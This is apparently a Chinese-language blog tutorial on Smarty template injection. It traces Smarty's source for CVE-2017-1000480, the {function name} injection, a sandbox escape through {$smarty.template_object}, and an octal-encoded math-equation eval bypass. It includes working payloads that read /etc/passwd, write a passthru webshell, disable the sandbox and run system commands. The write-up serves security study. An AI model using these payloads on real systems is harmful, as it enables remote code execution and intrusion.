前些时间把Twig模板引擎注入讲述完了,本篇记录了关于Smarty模板引擎注入及相关漏洞的学习。
在阅读本篇之前,我们需要阅读官方文档
Smarty3 手册 | Smarty
在详细解释有关Smarty模板引擎漏洞之前,我们在做一些小铺垫,我们来简单说明以下有关Smarty的SSTI的具体内容基本内容
我下面的例子来说明
<?php
require_once('./libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_POST['data'];
$smarty->display('string:'.$ip);
?>
这里例子虽然简单,但是也基本满足我们对有SSTI此时的需求
漏洞成因由{include}标签所致,当我们设置成'string:'我们include的文件就会被单纯的输出文件的内容
string:{include file='D:\flag.txt'}
在Smarty模板引擎中,self
关键字代表当前类本身,通常用于访问类的静态成员或静态方法。
先看payload
{self::getStreamVariable("file:///etc/passwd")}
getStreamVariable() 可以利用这个方法来读文件
源码
public function getStreamVariable($variable)
{
$_result = '';
$fp = fopen($variable, 'r+');
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}
//值得注意的是$variable就是我们要传递的文件的路径。
值得注意的是这个方法之存在于Smarty<=3.1.29的版本,在Smarty 3.1.30版本中官方以及删除这个方法。
public function writeFile($_filepath, $_contents, Smarty $smarty)
{
$_error_reporting = error_reporting();
error_reporting($_error_reporting & ~E_NOTICE & ~E_WARNING);
$_file_perms = property_exists($smarty, '_file_perms') ? $smarty->_file_perms : 0644;
$_dir_perms = property_exists($smarty, '_dir_perms') ? (isset($smarty->_dir_perms) ? $smarty->_dir_perms : 0777) : 0771;
if ($_file_perms !== null) {
$old_umask = umask(0);
}
$_dirpath = dirname($_filepath);
// if subdirs, create dir structure
if ($_dirpath !== '.' && !file_exists($_dirpath)) {
mkdir($_dirpath, $_dir_perms, true);
}
// write to tmp file, then move to overt file lock race condition
$_tmp_file = $_dirpath . DS . str_replace(array('.', ','), '_', uniqid('wrt', true));
if (!file_put_contents($_tmp_file, $_contents)) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_tmp_file}");
}
我们在往上面看,可以看到这个方法是在class Smarty_Internal_Runtime_WriteFile
下的,
我们注意看这段代码
if (!file_put_contents($_tmp_file, $_contents)) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_tmp_file}");
}
这段代码将文件内容写入临时文件,如果写入失败,则恢复先前的错误报告级别,并抛出异常。
这里的具体解释我会在下面的CVE-2017-1000480具体讲到,先挖个坑,这里写入临时文件,在loadCompiledTemplate函数下,存在语句
eval("?>" . file_get_contents($this->filepath));
就有了
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
我们将<?php passthru($_GET['cmd']); ?>
写入了临时php文件中
self::clearConfig()
是一个 Smarty 内部方法,用于清除模板引擎的配置选项。
$SCRIPT_NAME
是一个在 PHP 中预定义的变量,用于表示当前执行脚本的文件路径和名称。
作业:获取smarty的版本信息
此标签的利用方法仅仅是在php5.x的版本中才可以使用,因为在 PHP5 环境下存在一种 PHP 标签, <script>language="php"></script>,
我们便可以利用这一标签进行任意的 PHP 代码执行。但是在php7的版本中{literal}xxxx;{/literal}
标签中间的内容就会被原封不动的输出,并不会解析。
作用:{literal} 可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为 Smarty 的定界符而错被解析。
所以我们就可以利用其的作用来进行xss攻击SSTI等漏洞利用。
{literal}<script>language="php">xxx</script>;{/literal}
用于执行php代码
{php}phpinfo();{/php}
但是这个方法在Smarty3版本中已经被禁用了,不过多赘述了。
{if phpinfo()}{/if}
{if system('cat /flag')}{/if}
我们对沙箱这个概念并不陌生,简单来说就是给运行中的程序提供保护机制,在smarty模板引擎中,我们使用enableSecurity 来开启沙箱
Smarty提供了一组内置函数和变量,它们被认为是安全的,不会对服务器产生危害。开发者只能使用这些函数和变量,而不能使用任意的PHP函数和变量。
Smarty运行时会创建一个沙箱环境,限制模板中的代码只能访问特定的变量和函数,而不能访问其他变量和函数。开发者可以使用Smarty提供的函数来控制模板中可以访问的变量和函数。
下面是一个基础沙箱的演示
<?php
require_once('./libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$smarty->enableSecurity(
$ip = $_POST['data'];
$smarty->display($ip);
当然还有更加严格的沙箱
<?php
require_once('./libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$ip = $_POST['data'];
$smarty->display($ip);
版本信息:Smarty <= 3.1.32
演示版本:Smarty 3.1.31
实例代码
<?php
include_once('./smarty/libs/Smarty.class.php');
define('SMARTY_COMPILE_DIR','/tmp/templates_c');
define('SMARTY_CACHE_DIR','/tmp/cache');
class test extends Smarty_Resource_Custom
{
protected function fetch($name,&$source,&$mtime)
{
$template = "CVE-2017-1000480 smarty PHP code injection";
$source = $template;
$mtime = time();
}
}
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->modifiers = array();
$smarty->enableSecurity($my_security_policy);
$smarty->setCacheDir(SMARTY_CACHE_DIR);
$smarty->setCompileDir(SMARTY_COMPILE_DIR);
$smarty->registerResource('test',new test);
$smarty->display('test:'.$_GET['data']);
?>
漏洞点:display方法存在PHP代码执行漏洞
首先看display,display定义在smarty_internal_templatebase.php(当前版本路径信息:smarty-3.1.31\libs\sysplugins\smarty_internal_templatebase.php
)
public function display($template = null, $cache_id = null, $compile_id = null, $parent = null)
{
// display template
$this->_execute($template, $cache_id, $compile_id, $parent, 1);
}
这里调用了_execute()函数
我们继续跟踪_execute()函数smarty_internal_templatebase.php的156line
private function _execute($template, $cache_id, $compile_id, $parent, $function)
{
$smarty = $this->_getSmartyObj();
$saveVars = true;
if ($template === null) {
if (!$this->_isTplObj()) {
throw new SmartyException($function . '():Missing \'$template\' parameter');
} else {
$template = $this;
}
} elseif (is_object($template)) {
/* @var Smarty_Internal_Template $template */
if (!isset($template->_objType) || !$template->_isTplObj()) {
throw new SmartyException($function . '():Template object expected');
}
} else {
// get template object
$saveVars = false;
$template = $smarty->createTemplate($template, $cache_id, $compile_id, $parent ? $parent : $this, false);
if ($this->_objType == 1) {
// set caching in template object
$template->caching = $this->caching;
}
}
...
这里定义的一个if结构,很明显我们传入的的$template的值会直接进入else
$template = $smarty->createTemplate($template, $cache_id, $compile_id, $parent ? $parent : $this, false);
将原来的$template覆盖成新的变量值,调用createTemplate()方法 目的就是将template最后赋值成一个Smarty_Internal_Template的对象
然后进入try结构
关键源码(smarty_internal_templatebase.php about 216line)
$result = $template->render(false, $function);
调用了Smarty_Internal_Template类的render()方法我们继续跟踪
public function render($no_output_filter = true, $display = null)
{
if ($this->smarty->debugging) {
if (!isset($this->smarty->_debug)) {
$this->smarty->_debug = new Smarty_Internal_Debug();
}
$this->smarty->_debug->start_template($this, $display);
}
// checks if template exists
if (!$this->source->exists) {
throw new SmartyException("Unable to load template '{$this->source->type}:{$this->source->name}'" .
($this->_isSubTpl() ? " in '{$this->parent->template_resource}'" : ''));
}
// disable caching for evaluated code
if ($this->source->handler->recompiled) {
$this->caching = false;
}
// read from cache or render
$isCacheTpl =
$this->caching == Smarty::CACHING_LIFETIME_CURRENT || $this->caching == Smarty::CACHING_LIFETIME_SAVED;
if ($isCacheTpl) {
if (!isset($this->cached) || $this->cached->cache_id !== $this->cache_id ||
$this->cached->compile_id !== $this->compile_id
) {
$this->loadCached(true);
}
$this->cached->render($this, $no_output_filter);
} else {
if (!isset($this->compiled) || $this->compiled->compile_id !== $this->compile_id) {
$this->loadCompiled(true);
}
$this->compiled->render($this);
}
上面的几个if是有关模板缓存的,我们先不管,直接进入else语句
public function loadCompiled($force = false)
{
if ($force || !isset($this->compiled)) {
$this->compiled = Smarty_Template_Compiled::load($this);
我们看到在这个方法当中compiled被定义成了Smarty_Template_Compiled类的实例对象,那么我们继续跟踪Smarty_Template_Compiled类中的render方法
smarty_template_cached.php about 124line
public function render(Smarty_Internal_Template $_template, $no_output_filter = true)
{
if ($this->isCached($_template)) {
if ($_template->smarty->debugging) {
if (!isset($_template->smarty->_debug)) {
$_template->smarty->_debug = new Smarty_Internal_Debug();
}
$_template->smarty->_debug->start_cache($_template);
}
if (!$this->processed) {
$this->process($_template);
//忽略无关代码
这里进入了process方法,继续跟踪
路径:smarty_template_cached.php about 230 line
public function process(Smarty_Internal_Template $_smarty_tpl)
{
$source = &$_smarty_tpl->source;
$smarty = &$_smarty_tpl->smarty;
if ($source->handler->recompiled) {
$source->handler->process($_smarty_tpl);
} elseif (!$source->handler->uncompiled) {
if (!$this->exists || $smarty->force_compile ||
($smarty->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
) {
$this->compileTemplateSource($_smarty_tpl);
$compileCheck = $smarty->compile_check;
$smarty->compile_check = false;
$this->loadCompiledTemplate($_smarty_tpl);
$smarty->compile_check = $compileCheck;
}
//....
进入process方法后检查模板是否需要重新编译。如果模板需要重新编译,则调用模板源文件的处理方法(handler->process)来生成新的编译文件。如果模板不需要重新编译,则代码检查模板是否已经被编译。如果模板还未被编译或需要强制重新编译($smarty->force_compile为true),或者需要检查模板是否已经被更新($smarty->compile_check为true且模板源文件的时间戳大于编译文件的时间戳),则调用compileTemplateSource方法来编译模板源文件。调用loadCompiledTemplate方法来加载编译文件,并将编译检查标志恢复到原来的值。
我们分别来看和loadCompiledTemplate方法
首先来看compileTemplateSource方法
路径:libs\sysplugins\smarty_template_compiled.php about 189line
public function compileTemplateSource(Smarty_Internal_Template $_template)
...
// compile locking
try {
// call compiler
$_template->loadCompiler();
$this->write($_template, $_template->compiler->compileTemplate($_template));
}
调用了write方法
public function write(Smarty_Internal_Template $_template, $code)
{
if (!$_template->source->handler->recompiled) {
if ($_template->smarty->ext->_writeFile->writeFile($this->filepath, $code, $_template->smarty) === true) {
$this->timestamp = $this->exists = is_file($this->filepath);
if ($this->exists) {
$this->timestamp = filemtime($this->filepath);
return true;
}
}
return false;
}
return true;
}
调用了>writeFile方法,也就是我们上面提到的,我们找到Smarty_Internal_Runtime_WriteFile类下的writeFile方法
public function writeFile($_filepath, $_contents, Smarty $smarty)
....
if (!file_put_contents($_tmp_file, $_contents)) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_tmp_file}");
利用
file_put_contents来写文件,至此我们完成的写
的操作
在smarty_internal_runtime_codeframe.php文件的330line
public function compileTemplate(Smarty_Internal_Template $template, $nocache = null,
Smarty_Internal_TemplateCompilerBase $parent_compiler = null)
{
// get code frame of compiled template
$_compiled_code = $template->smarty->ext->_codeFrame->create($template,
$this->compileTemplateSource($template, $nocache,
$parent_compiler),
$this->postFilter($this->blockOrFunctionCode) .
join('', $this->mergedSubTemplatesCode), false,
$this);
return $_compiled_code;
create是生成编译文件代码的方法
$output .= "/* Smarty version " . Smarty::SMARTY_VERSION . ", created on " . strftime("%Y-%m-%d %H:%M:%S") .
"\n from \"" . $_template->source->filepath . "\" */\n\n";
我们来loadCompiledTemplate
private function loadCompiledTemplate(Smarty_Internal_Template $_smarty_tpl)
{
if (function_exists('opcache_invalidate') && strlen(ini_get("opcache.restrict_api")) < 1) {
opcache_invalidate($this->filepath, true);
} elseif (function_exists('apc_compile_file')) {
apc_compile_file($this->filepath);
}
if (defined('HHVM_VERSION')) {
eval("?>" . file_get_contents($this->filepath));
} else {
include($this->filepath);
}
}
这里
eval("?>" . file_get_contents($this->filepath));
使用了eval函数,从而造成了漏洞,用户在display输入的内容最终会被编译到编译文件代码,然后loadCompiledTemplate中会执行编译文件代码,如果我们输入的内容可以在编译文件代码中可以实现闭合,那么我们就可以实现php任意代码执行。
?data=*/phpinfo();//
环境搭建:Release v3.1.38 · smarty-php/smarty (github.com)
版本信息 :Smarty <3.1.39
测试版本 :Smarty v3.1.38
漏洞描述:{function}中的name属性可以被用户构造,注入恶意代码。
poc:
string:{function name='rce(){};phpinfo();function '}{/function}
测试代码
<?php
require_once('./libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_POST['data'];
$smarty->display($ip);
?>
生成的编译文件代码
在 29line中
function smarty_template_function_rce(){};phpinfo();function _99476291364466ebfcfbe01_07219208(Smarty_Internal_Template $_smarty_tpl,$params) {
我们输入的内容插入代码中,实现闭合也就是说
smarty_template_function_“插入点”_8448067526245a2812ef2c6_13818238(Smarty_Internal_Template $_smarty_tpl,$params) {
开始寻找漏洞点,我们直接跳到compileTemplate()方法下 (smarty_internal_templatecompilerbase.php about 393line)
public function compileTemplate(
Smarty_Internal_Template $template,
$nocache = null,
Smarty_Internal_TemplateCompilerBase $parent_compiler = null
) {
// get code frame of compiled template
$_compiled_code = $template->smarty->ext->_codeFrame->create(
$template,
$this->compileTemplateSource(
$template,
$nocache,
$parent_compiler
),
$this->postFilter($this->blockOrFunctionCode) .
join('', $this->mergedSubTemplatesCode),
false,
$this
);
return $_compiled_code;
}
继续跟进到compileTemplateSource方法中的481line
$_content
存入的是我的post传入的值
继续跟踪到callTagCompiler方法,同文件的763line
public function callTagCompiler($tag, $args, $param1 = null, $param2 = null, $param3 = null)
{
/* @var Smarty_Internal_CompileBase $tagCompiler */
$tagCompiler = $this->getTagCompiler($tag);
// compile this tag
return $tagCompiler === false ? false : $tagCompiler->compile($args, $this, $param1, $param2, $param3);
}
$tag为function,所以我们进入smarty_internal_compile_function.php,再次文件中分别定义了Smarty_Internal_Compile_Function类和Smarty_Internal_Compile_Functionclose类这两个类分别编译了
{function}和{/function},下面我们来看一下compile()方法,它也是造成这个漏洞的关键点。
其中,这里的$_name的具体内容就是就是我们function 中的name属性的内容
这里直接就把内容拼接进去了,然后把拼接的内容通过compileTemplateSource这两个方法的共同作用下,最终就是我们看到的编译文件代码loadCompiledTemplate中的eval("?>" . file_get_contents($this->filepath));
执行了编译文件代码,我们将$_name=rce(){};phpinfo();function
,这样就是导致前后部分闭合,而中间部分phpinfo()
暴露,从而导致代码执行。
环境搭建:Releases · smarty-php/smarty (github.com)
版本信息:Smarty 模板引擎 <= 3.1.38
测试版本:Smarty 3.1.38
漏洞描述:{$smarty.template_object}
可以被用来访问到smarty 对象
poc:
string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->enableSecurity()->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->addTemplateDir('./x')->display('string:{system(whoami)}')}
string:{$smarty.template_object->smarty->setTemplateDir('./x')->display('string:{system(whoami)}')}
当我们利用漏洞点时,我们发现同时出现了两个编译代码文件
以及:
我们进入debug跟踪以下
跳入到第一个编译文件代码。
然后进入到第二次display
同样的逻辑进入到第二次
跳入到第二个编译文件
实现了恶意代码执行
但是这仅仅是根据这个poc来分析的,但是我们还需要去理解它的引用场景以及一些限制
就拿
string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(whoami)}')}
来说明,我们相当于给smarty传入了两次数据,第一次我们访问量了Smarty的这个实例并且调用了disableSecurity()方法,也就是禁用了沙箱并且渲染了后面的display('string:{system(whoami)}'),从而绕过了沙箱机制,这也正反映了我们的漏洞所在:{$smarty.template_object}
可以被用来访问到smarty 对象。
漏洞成因:制作恶意数学字符串来运行任意 PHP 代码
版本信息:3.1.42 和 4.0.2 之前
测试版本:3.1.38
poc:
eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}
在function.math.php文件中smarty_function_math方法下存在eval(),根据eval()可以解析8进制16进制数的特性,从而绕过过滤
通过debug可以更清楚的看出各个参数的具体情况,方便大家理解整个过程。
5 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!